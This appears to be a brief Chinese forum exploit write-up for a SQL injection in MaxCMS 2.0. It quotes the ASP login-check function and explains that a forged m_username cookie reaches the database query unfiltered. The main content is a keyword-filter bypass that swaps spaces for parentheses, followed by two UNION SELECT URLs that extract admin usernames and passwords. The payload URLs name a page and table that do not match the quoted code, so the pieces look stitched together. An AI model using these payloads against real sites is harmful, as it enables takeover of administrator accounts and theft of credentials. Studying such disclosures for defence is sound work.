久久久电脑

另外一处注射


Sub checkPower
    dim loginValidate,rsObj : loginValidate = "maxcms2.0"
    err.clear
    on error resume next
    set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")
    loginValidate = md5(getAgent&getIp&rsObj(0))
    if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
    if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
    checkManagerLevel  rsObj(1)
    set rsObj=nothing
End Sub其中

Function rCookie(cookieName)
    rCookie = request.cookies(cookieName)
End Function通过伪造cookie中m_username的值可以进行注射

不过要知道后台管理目录，默认是/admin/，多个页面可以触发改函数
比如 /admin/admin_ajax.asp
因为sql检测过滤的时候是关键字判断  可是很多重要的关键字后面又加上了个个空格
这样就可以通过寂寞的刺猬发现的用()替代空格的方法绕过
http://localhost/play.asp?id=-999+union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])
http://localhost/play.asp?id=-999+union(select(adminname),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])